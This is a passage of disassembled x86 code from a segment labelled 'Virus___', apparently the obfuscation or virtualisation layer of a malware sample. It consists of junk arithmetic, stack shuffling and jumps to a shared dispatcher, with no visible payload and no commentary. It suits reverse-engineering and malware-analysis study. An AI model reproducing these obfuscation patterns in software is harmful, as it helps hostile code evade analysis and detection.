		mov	eax, 10046660h
		add	eax, 0F074291h
		xor	eax, 598F25BCh
		sub	eax, 536D4AF7h
		inc	eax
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 25787161h
		xor	eax, edx
		pop	edx
		jmp	loc_57780D
; ---------------------------------------------------------------------------


loc_5784AD:				; CODE XREF: Virus___:0057EF92j
		push	ebx
		mov	ebx, 4C1717E3h
		mov	esi, ebx
		jmp	loc_57CA32
; ---------------------------------------------------------------------------


loc_5784BA:				; CODE XREF: Virus___:0057E462j
		push	edi
		mov	edi, 341C5FEBh
		jmp	loc_57B222
; ---------------------------------------------------------------------------


loc_5784C5:				; CODE XREF: Virus___:005797B3j
		or	ah, 5Dh
		sub	ah, 3Ah
		add	cl, 91h
		add	cl, 3Fh
		add	cl, ah
		jmp	loc_57EEB6
; ---------------------------------------------------------------------------


loc_5784D8:				; CODE XREF: Virus___:0057BA91j
		add	ecx, esi
		add	ecx, 0EDA7588h
		jmp	loc_579183
; ---------------------------------------------------------------------------


loc_5784E5:				; CODE XREF: Virus___:0057B838j
		xor	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		add	dword ptr [esp], 6FE5195Ch
		pop	ebp
		push	edx
		mov	edx, 22B37A63h
		jmp	loc_579C2C
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	3E6Ch
		mov	[esp], edi
		mov	edi, esp
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		jmp	loc_572D44
; ---------------------------------------------------------------------------


loc_57851F:				; CODE XREF: Virus___:005798D6j
		mov	[esp], ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_57EFB8
; ---------------------------------------------------------------------------


loc_578530:				; CODE XREF: Virus___:00573586j
		sub	ebp, 8D56FAA6h
		mov	ebx, ebp
		jmp	loc_579285
; ---------------------------------------------------------------------------


loc_57853D:				; CODE XREF: Virus___:005735D9j
		xor	edx, 0FF83C0B3h
		mov	ecx, edx
		pop	edx
		jmp	loc_57EF81
; ---------------------------------------------------------------------------


loc_57854B:				; CODE XREF: Virus___:00577B26j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		add	edi, 2
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_572C01
; ---------------------------------------------------------------------------


loc_578571:				; CODE XREF: Virus___:00573246j
		shr	ecx, 8
		and	ecx, 3C2E3E18h
		not	ecx
		add	ecx, 1D9E37ACh
		jmp	loc_577CCA
; ---------------------------------------------------------------------------


loc_578587:				; CODE XREF: Virus___:005737E9j
		mov	eax, 29444B57h
		sub	eax, 62194005h
		sub	eax, edi
		push	ebp
		mov	ebp, 123361C3h
		neg	ebp
		dec	ebp
		shl	ebp, 8
		xor	ebp, 0AE877C05h
		jmp	loc_57307D
; ---------------------------------------------------------------------------


loc_5785AA:				; CODE XREF: Virus___:005763ADj
		shr	ebx, 5
		xor	ebx, 7463EC33h
		sub	esi, ebx
		pop	ebx
		jmp	loc_57B4B5
; ---------------------------------------------------------------------------


loc_5785BB:				; CODE XREF: Virus___:00577808j
		push	eax
		mov	eax, 424420A6h
		not	eax
		shl	eax, 8
		sub	eax, 3959314Eh
		xor	eax, 828627B6h
		jmp	loc_57863D
; ---------------------------------------------------------------------------


loc_5785D5:				; CODE XREF: Virus___:005751B0j
		push	ecx
		mov	ecx, 2FA501F1h
		sub	eax, ecx
		pop	ecx
		add	eax, 80DCFC63h
		sub	ebx, 4A1C5142h
		add	ebx, eax
		add	ebx, 4A1C5142h
		pop	eax
		sub	ebx, eax
		push	eax
		mov	eax, 46281B38h
		neg	eax
		jmp	loc_57C1FD
; ---------------------------------------------------------------------------


loc_578601:				; CODE XREF: Virus___:005769B5j
		pop	esp
		mov	[esp], esi
		mov	esi, esp
		push	eax
		mov	eax, 32524E2Bh
		jmp	loc_579017
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ebx
		push	45E1h
		mov	[esp], esp
		jmp	loc_576577
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		push	ecx
		mov	ecx, 43247927h
		xchg	edi, ecx
		jmp	loc_578F84
; ---------------------------------------------------------------------------


loc_57863D:				; CODE XREF: Virus___:005785D0j
		add	ecx, eax
		jmp	loc_5793FE
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_576363
; ---------------------------------------------------------------------------


loc_57864A:				; CODE XREF: Virus___:00572EB3j
		shr	ecx, 5
		jmp	loc_572B4A
; ---------------------------------------------------------------------------


loc_578652:				; CODE XREF: Virus___:0057D6CBj
		push	ebx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_57B9E4
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_5798E3
; ---------------------------------------------------------------------------


loc_57866A:				; CODE XREF: Virus___:00573E66j
		mov	[esp], ebp
		mov	ebp, 32DA0E77h
		not	ebp
		jmp	loc_57BCAF
; ---------------------------------------------------------------------------


loc_578679:				; CODE XREF: Virus___:005770CCj
		mov	edi, ebp
		pop	ebp
		neg	edi
		shl	edi, 6
		shr	edi, 5
		jmp	loc_57C617
; ---------------------------------------------------------------------------


loc_578689:				; CODE XREF: Virus___:00575B35j
		not	bh
		or	bh, 8Ch
		push	edx
		push	ebx
		mov	bl, 27h
		jmp	loc_577E60
; ---------------------------------------------------------------------------


loc_578697:				; CODE XREF: Virus___:00576D89j
		mov	ebp, 0ACF748Eh
		shl	ebp, 8
		inc	ebp
		shl	ebp, 3
		sub	ebp, 3A8C0E98h
		or	ebp, 2AC80D0Eh
		push	esi
		mov	esi, 6BD86D7Ah
		xor	ebp, esi
		pop	esi
		jmp	loc_57498C
; ---------------------------------------------------------------------------


loc_5786BD:				; CODE XREF: Virus___:00573D7Dj
		mov	ebp, 0B91CF8A6h
		add	ebp, edx
		pop	edx
		add	edi, 6A691EB0h
		jmp	loc_57C0C3
; ---------------------------------------------------------------------------


loc_5786D0:				; CODE XREF: Virus___:0057789Bj
		xor	eax, edi
		pop	edi
		sub	esi, eax
		pop	eax
		xor	esi, 2DFA0581h
		sub	esp, 4
		mov	[esp], esi
		push	503C473Dh
		pop	esi
		neg	esi
		jmp	loc_57C672
; ---------------------------------------------------------------------------


loc_5786F2:				; CODE XREF: Virus___:0057AA7Ej
		mov	[esp], edx
		mov	edx, 50C43767h
		or	ebp, edx
		jmp	loc_578BF9
; ---------------------------------------------------------------------------


loc_578701:				; CODE XREF: Virus___:00572DBEj
		mov	esp, [esp]
		mov	fs:[edx], al
		jmp	loc_575366
; ---------------------------------------------------------------------------


loc_57870C:				; CODE XREF: Virus___:0057D7C4j
		sub	ebp, 3F5A07C7h
		jmp	loc_576905
; ---------------------------------------------------------------------------


loc_578717:				; CODE XREF: Virus___:0057ECCAj
		mov	edx, 4E913415h
		xor	edx, eax
		pop	eax
		add	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		jmp	loc_573539
; ---------------------------------------------------------------------------


loc_57872A:				; CODE XREF: Virus___:0057C612j
		push	edi
		mov	edi, esp
		push	esi
		mov	esi, 4
		add	edi, 223D71h
		jmp	loc_5746FD
; ---------------------------------------------------------------------------


loc_57873E:				; CODE XREF: Virus___:0057E2B6j
		and	ebx, edi
		jmp	loc_57AAC7
; ---------------------------------------------------------------------------


loc_578745:				; CODE XREF: Virus___:005771B1j
		pop	bx
		pop	cx
		sub	cl, 0D9h
		xor	al, cl
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_57F02D
; ---------------------------------------------------------------------------


loc_578762:				; CODE XREF: Virus___:0057E66Dj
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_578767:				; CODE XREF: Virus___:0057664Aj
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_575D85
; ---------------------------------------------------------------------------


loc_578772:				; CODE XREF: Virus___:00576205j
		sub	ebp, 1A111643h
		pop	eax
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	esp, 4
		jmp	loc_5729F6
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	53C1h
		mov	[esp], edi
		push	esp
		jmp	loc_5740EA
; ---------------------------------------------------------------------------


loc_5787A0:				; CODE XREF: Virus___:005745D0j
		or	edi, 61573317h
		shl	edi, 2
		not	edi
		sub	edi, 2883109Fh
		sub	esi, 68EB1F3Dh
		jmp	loc_57905A
; ---------------------------------------------------------------------------


loc_5787BC:				; CODE XREF: Virus___:0057B3F4j
		mov	[esp], eax
		push	5F613ECAh
		push	dword ptr [esp]
		pop	eax
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_57B417
; ---------------------------------------------------------------------------


loc_5787DC:				; CODE XREF: Virus___:005730EDj
		add	edx, 333441E9h
		jmp	loc_5741EB
; ---------------------------------------------------------------------------


loc_5787E7:				; CODE XREF: Virus___:0057C9A8j
		mov	edi, 76815C0Eh
		mov	eax, 897EA3F6h
		add	eax, 2F7750A3h
		add	eax, edi
		sub	eax, 2F7750A3h
		pop	edi
		sub	edi, 5DF7941h
		jmp	loc_5794B9
; ---------------------------------------------------------------------------


loc_578809:				; CODE XREF: Virus___:005773FCj
		mov	[esp], edx
		push	esp
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_57EE2D
; ---------------------------------------------------------------------------


loc_578825:				; CODE XREF: Virus___:0057D4FCj
		push	edx
		push	ebp
		push	743C1F00h
		mov	ebp, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_579E55
; ---------------------------------------------------------------------------


loc_57883D:				; CODE XREF: Virus___:0057A158j
		idiv	cl
		movzx	cx, ah
		push	eax
		mov	eax, esp
		push	223Ah
		jmp	loc_577E15
; ---------------------------------------------------------------------------


loc_578850:				; CODE XREF: Virus___:00573A9Ej
		and	eax, 71EB4311h
		sub	eax, 15B82217h
		sub	eax, 5BC1D14Ch
		sub	edx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_576B51
; ---------------------------------------------------------------------------


loc_57886C:				; CODE XREF: Virus___:0057589Cj
		push	edx
		push	eax
		mov	eax, 65D20DD0h
		jmp	loc_573D70
; ---------------------------------------------------------------------------


loc_578878:				; CODE XREF: Virus___:0057776Ej
		mov	[esp], ebp
		push	eax
		jmp	loc_579F85
; ---------------------------------------------------------------------------


loc_578881:				; CODE XREF: Virus___:00574622j
		sub	al, 96h
		sub	al, 0F6h
		sub	al, 62h
		jmp	loc_57CCC5
; ---------------------------------------------------------------------------


loc_57888C:				; CODE XREF: Virus___:0057EE28j
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	esp, 4
		push	ebp
		jmp	loc_57A7E1
; ---------------------------------------------------------------------------


loc_5788AB:				; CODE XREF: Virus___:0057544Dj
		mov	ebx, [esp]
		add	esp, 4
		push	cx
		mov	cl, 23h
		and	dl, cl
		jmp	loc_57D877
; ---------------------------------------------------------------------------


loc_5788BF:				; CODE XREF: Virus___:0057BDDCj
		pop	ebp
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		push	6049h
		mov	[esp], edx
		mov	edx, 58D71E86h
		jmp	loc_57EEA8
; ---------------------------------------------------------------------------


loc_5788DB:				; CODE XREF: Virus___:0057BD0Ej
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_573570
; ---------------------------------------------------------------------------


loc_5788E9:				; CODE XREF: Virus___:005780BCj
		mov	ecx, esp
		jmp	loc_5792E7
; ---------------------------------------------------------------------------


loc_5788F0:				; CODE XREF: Virus___:00573FF8j
		add	eax, 59C23012h
		push	22CFh
		mov	[esp], edx
		push	ebp
		push	4D0D371Bh
		pop	ebp
		add	ebp, 672F0949h
		shr	ebp, 5
		sub	ebp, 62506936h
		xor	ebp, 0DA08070Fh
		jmp	loc_5767B9
; ---------------------------------------------------------------------------


loc_57891E:				; CODE XREF: Virus___:0057B34Dj
		pop	ecx
		jmp	loc_57E119
; ---------------------------------------------------------------------------


loc_578924:				; CODE XREF: Virus___:00577B91j
		add	edx, 4
		add	edx, 4
		jmp	loc_578427
; ---------------------------------------------------------------------------


loc_578932:				; CODE XREF: Virus___:0057D155j
		push	ecx
		mov	ch, 31h
		mov	bh, 0E3h
		add	bh, ch
		pop	ecx
		mov	cl, bh
		jmp	loc_57AAD5
; ---------------------------------------------------------------------------


loc_578941:				; CODE XREF: Virus___:00575E79j
		xchg	ah, bl
		not	ah
		jmp	loc_5774B5
; ---------------------------------------------------------------------------


loc_57894A:				; CODE XREF: Virus___:00575481j
		sub	dl, 0Ch
		add	cl, dl
		pop	edx
		push	614h
		mov	[esp], ecx
		xchg	dh, [esp]
		push	ax
		mov	al, dh
		xchg	dl, al
		not	dl
		push	bx
		mov	bl, dl
		mov	dl, al
		mov	al, bl
		pop	bx
		push	ecx
		push	ebx
		mov	bl, al
		jmp	loc_577359
; ---------------------------------------------------------------------------


loc_578976:				; CODE XREF: Virus___:0057BD53j
		push	ebx
		mov	ebx, esi
		jmp	loc_57A54F
; ---------------------------------------------------------------------------


loc_57897E:				; CODE XREF: Virus___:0057E80Aj
		add	edi, 4
		jmp	loc_5798C7
; ---------------------------------------------------------------------------


loc_578989:				; CODE XREF: Virus___:0057D20Dj
		mov	esp, [esp]
		or	[esp], ax
		pushf
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_578996:				; CODE XREF: Virus___:0057CB35j
		pop	ebp
		and	ebx, 155B5734h
		jmp	loc_577EA3
; ---------------------------------------------------------------------------


loc_5789A2:				; CODE XREF: Virus___:005762E3j
		pop	ebp
		sub	esp, 4
		mov	[esp], edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_5769BA
; ---------------------------------------------------------------------------


loc_5789C1:				; CODE XREF: Virus___:00576239j
		sub	esp, 4
		mov	[esp], ebx
		mov	bl, 0B1h
		neg	bl
		push	eax
		mov	ah, 86h
		add	bl, ah
		pop	eax
		shl	bl, 1
		add	bl, 36h
		jmp	loc_575AFE
; ---------------------------------------------------------------------------


loc_5789DB:				; CODE XREF: Virus___:005770B1j
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5793A9
; ---------------------------------------------------------------------------


loc_5789E9:				; CODE XREF: Virus___:0057E5F3j
		pop	ecx
		jmp	loc_573718
; ---------------------------------------------------------------------------


loc_5789EF:				; CODE XREF: Virus___:005790CCj
		pop	esi
		push	115Fh
		mov	[esp], esi
		mov	esi, 5E9149C6h
		jmp	loc_575E5D
; ---------------------------------------------------------------------------


loc_578A02:				; CODE XREF: Virus___:0057BAF4j
		sub	eax, esi
		pop	esi
		add	ecx, eax
		jmp	loc_577E8A
; ---------------------------------------------------------------------------


loc_578A0C:				; CODE XREF: Virus___:0057A4B0j
		pop	esp
		jmp	loc_57DEB0
; ---------------------------------------------------------------------------


loc_578A12:				; CODE XREF: Virus___:0057B13Bj
		add	eax, 7E717025h
		jmp	loc_57A89A
; ---------------------------------------------------------------------------


loc_578A1C:				; CODE XREF: Virus___:0057E54Bj
		push	ecx
		jmp	loc_57C03E
; ---------------------------------------------------------------------------


loc_578A22:				; CODE XREF: Virus___:00574FFFj
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_578A27:				; CODE XREF: Virus___:0057B012j
		push	ebx
		jmp	loc_577460
; ---------------------------------------------------------------------------


loc_578A2D:				; CODE XREF: Virus___:00575D86j
		mov	[esp], ebp
		push	0D8Bh
		jmp	loc_575D71
; ---------------------------------------------------------------------------


loc_578A3A:				; CODE XREF: Virus___:0057D1D8j
		add	esp, 4
		push	edx
		mov	edx, 2
		jmp	loc_57BE5B
; ---------------------------------------------------------------------------
		mov	esp, [esp]
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_578A50:				; CODE XREF: Virus___:0057A2CCj
		mov	[esp], ecx
		mov	ecx, 504C590Bh
		inc	ecx
		inc	ecx
		shl	ecx, 1
		push	eax
		push	esi
		mov	esi, 0E072F9Dh
		not	esi
		and	esi, 0CA73A2Dh
		push	50F2h
		mov	[esp], ebp
		mov	ebp, 482F069Fh
		dec	ebp
		or	ebp, 36AE525Bh
		xor	ebp, 5C002E59h
		xor	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	esi
		jmp	loc_57B6D7
; ---------------------------------------------------------------------------


loc_578A93:				; CODE XREF: Virus___:00577B13j
		add	eax, edi
		jmp	loc_57BA96
; ---------------------------------------------------------------------------


loc_578A9A:				; CODE XREF: Virus___:0057EA0Aj
		pop	ebp
		push	ebp
		mov	ebp, 4484590Bh
		xor	ebp, 48C934C5h
		shr	ebp, 6
		add	ebp, 7D3546D7h
		push	338Ah
		mov	[esp], esi
		jmp	loc_57B5A2
; ---------------------------------------------------------------------------


loc_578ABD:				; CODE XREF: Virus___:00575B3Bj
		add	eax, 1C006459h
		add	eax, 52C7349Fh
		add	eax, edi
		sub	eax, 52C7349Fh
		push	ebx
		push	edx
		mov	edx, 41697809h
		mov	ebx, edx
		pop	edx
		jmp	loc_57EF4A
; ---------------------------------------------------------------------------


loc_578ADD:				; CODE XREF: Virus___:0057E77Fj
		neg	ecx
		xor	ecx, 12075189h
		add	ebx, ecx
		pop	ecx
		add	edx, 52924921h
		sub	edx, 60434504h
		add	edx, ebx
		add	edx, 60434504h
		sub	edx, 52924921h
		mov	ebx, [esp]
		add	esp, 4
		add	edx, 2
		xchg	edx, [esp]
		pop	esp
		bts	[esp], ax
		pushf
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_578B20:				; CODE XREF: Virus___:00579786j
		sub	dword ptr [esp+4], 6A285465h
		sub	dword ptr [esp+4], 0EC42D99h
		jmp	loc_5731F4
; ---------------------------------------------------------------------------


loc_578B35:				; CODE XREF: Virus___:00573F3Cj
		mov	edi, 779A6FB0h
		mov	ebp, edi
		pop	edi
		jmp	loc_577ECB
; ---------------------------------------------------------------------------


loc_578B42:				; CODE XREF: Virus___:00572E08j
		mov	[esp], edx
		push	esp
		pop	edx
		push	ebx
		mov	ebx, 4B83711Dh
		shl	ebx, 6
		add	ebx, 6EEB7870h
		shl	ebx, 4
		not	ebx
		dec	ebx
		xor	ebx, 38404FAh
		add	edx, ebx
		jmp	loc_57B2CA
; ---------------------------------------------------------------------------


loc_578B69:				; CODE XREF: Virus___:00574D7Bj
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 31CA44ECh
		add	eax, 732A0AFFh
		dec	eax
		and	eax, 5AA10305h
		xor	eax, 0C087B69h
		sub	eax, 11EF5E96h
		sub	eax, 8FCDD3B6h
		xor	edx, eax
		pop	eax
		add	ebp, edx
		jmp	loc_57ECBD
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	eax
		push	esp
		pop	eax
		push	ebx
		mov	ebx, 2AE43640h
		push	edi
		mov	edi, 561154BEh
		jmp	loc_57EA61
; ---------------------------------------------------------------------------


loc_578BBD:				; CODE XREF: Virus___:0057D820j
		mov	ebp, esi
		pop	esi
		sub	ebp, 0A8E6EE82h
		sub	eax, 55A772CAh
		add	eax, ebp
		add	eax, 55A772CAh
		pop	ebp
		add	eax, 52CC0340h
		add	eax, ebx
		push	ecx
		jmp	loc_575A06
; ---------------------------------------------------------------------------


loc_578BE0:				; CODE XREF: Virus___:0057C42Ej
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5795DF
; ---------------------------------------------------------------------------


loc_578BEC:				; CODE XREF: Virus___:00578441j
		push	5BEBh
		mov	[esp], eax
		jmp	loc_576022
; ---------------------------------------------------------------------------


loc_578BF9:				; CODE XREF: Virus___:005786FCj
		pop	edx
		shl	ebp, 5
		push	esi
		push	ebx
		jmp	loc_579F62
; ---------------------------------------------------------------------------


loc_578C04:				; CODE XREF: Virus___:0057D803j
		shr	edi, 4
		and	edi, 759524BFh
		inc	edi
		dec	edi
		add	edi, 26625FA5h
		sub	eax, edi
		pop	edi
		add	eax, 11855C28h
		jmp	loc_576A9A
; ---------------------------------------------------------------------------


loc_578C22:				; CODE XREF: Virus___:0057CA0Fj
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		add	edx, 4
		push	edi
		mov	edi, 0E354109h
		shl	edi, 8
		or	edi, 78A44319h
		jmp	loc_5736CA
; ---------------------------------------------------------------------------


loc_578C44:				; CODE XREF: Virus___:00576503j
		mov	esi, edi
		pop	edi
		xor	esi, 6FE6D59h
		add	esi, 90F0426h
		jmp	loc_57D6F5
; ---------------------------------------------------------------------------


loc_578C58:				; CODE XREF: Virus___:005740E5j
		push	2D30h
		mov	[esp], edx
		mov	dl, al
		mov	ch, dl
		mov	edx, [esp]
		add	esp, 4
		mov	bl, ch
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 28h
		add	eax, edi
		push	edx
		jmp	loc_57E88E
; ---------------------------------------------------------------------------


loc_578C86:				; CODE XREF: Virus___:00575812j
		mov	[esp+4], bl
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	78FEh
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_57E277
; ---------------------------------------------------------------------------


loc_578CA9:				; CODE XREF: Virus___:0057E360j
		sub	eax, 24792CEAh
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_572FC1
; ---------------------------------------------------------------------------


loc_578CB7:				; CODE XREF: Virus___:00573AC2j
		pop	edx
		xor	esi, ecx
		pop	ecx
		mov	edx, esi
		pop	esi
		jmp	loc_57C263
; ---------------------------------------------------------------------------


loc_578CC3:				; CODE XREF: Virus___:00574674j
		xor	eax, [esp]
		jmp	loc_573365
; ---------------------------------------------------------------------------


loc_578CCB:				; CODE XREF: Virus___:0057C086j
		sub	bl, 0BAh
		add	bl, al
		jmp	loc_57E701
; ---------------------------------------------------------------------------


loc_578CD5:				; CODE XREF: Virus___:00577B30j
		sub	eax, esi
		pop	esi
		sub	eax, 1AA01EB0h
		add	eax, ebx
		push	ebx
		mov	ebx, 1AA01EB0h
		add	eax, ebx
		jmp	loc_57598E
; ---------------------------------------------------------------------------


loc_578CEC:				; CODE XREF: Virus___:00576188j
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_57E806
; ---------------------------------------------------------------------------


loc_578CFA:				; CODE XREF: Virus___:005769E2j
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, eax
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		push	770Eh
		mov	[esp], edx
		mov	edx, 1BD5107Dh
		xor	[esp+4], edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		pop	edx
		push	ecx
		mov	ecx, 1BD5107Dh
		xor	edx, ecx
		pop	ecx
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_57EE61
; ---------------------------------------------------------------------------


loc_578D50:				; CODE XREF: Virus___:0057E409j
		xchg	esi, [esp]
		pop	esp
		jmp	loc_57828F
; ---------------------------------------------------------------------------


loc_578D59:				; CODE XREF: Virus___:00573534j
		mov	ebx, 4
		add	dword ptr [esp+4], 74B46050h
		add	[esp+4], ebx
		sub	dword ptr [esp+4], 74B46050h
		jmp	loc_57429B
; ---------------------------------------------------------------------------


loc_578D77:				; CODE XREF: Virus___:0057D272j
		pop	ebp
		shl	edx, 4
		dec	edx
		jmp	loc_574104
; ---------------------------------------------------------------------------


loc_578D81:				; CODE XREF: Virus___:005761BBj
		sub	[esp], ax
		pushf
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_578D8B:				; CODE XREF: Virus___:00579447j
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	eax, [esp]
		push	ebp
		push	3A4Fh
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_57B1A4
; ---------------------------------------------------------------------------


loc_578DAC:				; CODE XREF: Virus___:00579D62j
		pop	edx
		jmp	loc_57CE71
; ---------------------------------------------------------------------------


loc_578DB2:				; CODE XREF: Virus___:0057B781j
		mov	ebp, 75FE4E5Dh
		jmp	loc_57531F
; ---------------------------------------------------------------------------


loc_578DBC:				; CODE XREF: Virus___:00573EE4j
		push	esi
		mov	esi, 13974687h
		jmp	loc_57B4A2
; ---------------------------------------------------------------------------


loc_578DC7:				; CODE XREF: Virus___:00573043j
		pop	ebx
		mov	bl, ah
		pop	eax
		mov	[edi+eax*4], bl
		pop	ebx
		mov	edx, [esp]
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_578DE0:				; CODE XREF: Virus___:0057B6B5j
		add	ebx, eax
		add	ebx, 6D374050h
		pop	eax
		xor	ebx, [esp]
		jmp	loc_579D26
; ---------------------------------------------------------------------------


loc_578DF1:				; CODE XREF: Virus___:0057804Ej
		mov	esp, [esp]
		jmp	loc_57E338
; ---------------------------------------------------------------------------


loc_578DF9:				; CODE XREF: Virus___:00575396j
		xor	ebx, 7C223F03h
		mov	edi, ebx
		pop	ebx
		add	dword ptr [esp+4], 3E3C7B25h
		sub	[esp+4], edi
		sub	dword ptr [esp+4], 3E3C7B25h
		pop	edi
		mov	eax, [esp]
		add	esp, 4
		add	eax, 32232C19h
		push	edi
		jmp	loc_574AEB
; ---------------------------------------------------------------------------


loc_578E2B:				; CODE XREF: Virus___:00574DC6j
		shl	ecx, 8
		dec	ecx
		push	ebx
		mov	ebx, 54B53EF3h
		sub	ebx, 19666F7Dh
		shr	ebx, 6
		jmp	loc_57CA14
; ---------------------------------------------------------------------------


loc_578E43:				; CODE XREF: Virus___:0057CDAEj
		add	ebx, ebp
		add	ebx, 4D981907h
		sub	ebx, 3ED107D3h
		push	ecx
		jmp	loc_577FCD
; ---------------------------------------------------------------------------


loc_578E57:				; CODE XREF: Virus___:0057B9FFj
		add	eax, ecx
		pop	ecx
		add	eax, 2
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_57C433
; ---------------------------------------------------------------------------


loc_578E6D:				; CODE XREF: Virus___:00576FDDj
		add	dh, bl
		pop	ebx
		jmp	loc_57BE20
; ---------------------------------------------------------------------------


loc_578E75:				; CODE XREF: Virus___:00573E1Cj
		add	bh, 0C5h
		sub	ah, bh
		pop	ebx
		push	edx
		mov	dh, 0A0h
		xor	ah, dh
		pop	edx
		jmp	loc_5737AD
; ---------------------------------------------------------------------------


loc_578E86:				; CODE XREF: Virus___:0057EB9Ej
		pop	ecx
		mov	ebp, [esp]
		jmp	loc_5733AF
; ---------------------------------------------------------------------------


loc_578E8F:				; CODE XREF: Virus___:0057BB0Cj
		pop	ecx
		jmp	loc_57EDFB
; ---------------------------------------------------------------------------


loc_578E95:				; CODE XREF: Virus___:00575F38j
		add	esp, 4
		push	eax
		mov	eax, 4F71410Dh
		sub	edx, eax
		jmp	loc_57CD51
; ---------------------------------------------------------------------------


loc_578EA8:				; CODE XREF: Virus___:00572B34j
		pop	edx
		sub	eax, 75B66009h
		add	eax, ebx
		push	edx
		push	eax
		mov	eax, 537B101Ch
		shl	eax, 3
		shr	eax, 4
		jmp	loc_57648F
; ---------------------------------------------------------------------------


loc_578EC2:				; CODE XREF: Virus___:00577218j
		sub	bl, al
		add	bl, 7
		jmp	loc_57A7EE
; ---------------------------------------------------------------------------


loc_578ECC:				; CODE XREF: Virus___:005747BFj
		push	dword ptr [esp]
		pop	edx
		push	eax
		push	6716h
		jmp	loc_57C7D6
; ---------------------------------------------------------------------------


loc_578EDB:				; CODE XREF: Virus___:0057E4C8j
		push	ebp
		jmp	loc_57D965
; ---------------------------------------------------------------------------


loc_578EE1:				; CODE XREF: Virus___:0057690Bj
		and	ebx, ebp
		pop	ebp
		jmp	loc_57756E
; ---------------------------------------------------------------------------


loc_578EE9:				; CODE XREF: Virus___:005745E3j
		or	edx, eax
		jmp	loc_576486
; ---------------------------------------------------------------------------


loc_578EF0:				; CODE XREF: Virus___:005796DCj
		mov	[esp], ebx
		push	eax
		jmp	loc_57620A
; ---------------------------------------------------------------------------


loc_578EF9:				; CODE XREF: Virus___:0057C45Dj
		mov	[esp], ax
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_578F02:				; CODE XREF: Virus___:0057424Dj
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_57E4A0
; ---------------------------------------------------------------------------


loc_578F13:				; CODE XREF: Virus___:0057A078j
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_57406B
; ---------------------------------------------------------------------------


loc_578F29:				; CODE XREF: Virus___:005742D8j
		mov	[esp], edi
		mov	edi, 76524791h
		add	edi, 48F5464Bh
		add	edi, 5C987E57h
		push	ebx
		mov	ebx, 713630CAh
		and	edi, ebx
		pop	ebx
		add	edi, 199276E7h
		sub	edi, 0B0BF4154h
		mov	ecx, edi
		pop	edi
		jmp	loc_57A624
; ---------------------------------------------------------------------------


loc_578F5A:				; CODE XREF: Virus___:0057B580j
		mov	esp, [esp]
		shl	dword ptr [esp], cl
		pushf
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_578F66:				; CODE XREF: Virus___:00576972j
		xor	edx, 0F9C2B876h
		mov	eax, edx
		pop	edx
		xor	esi, eax
		mov	eax, [esp]
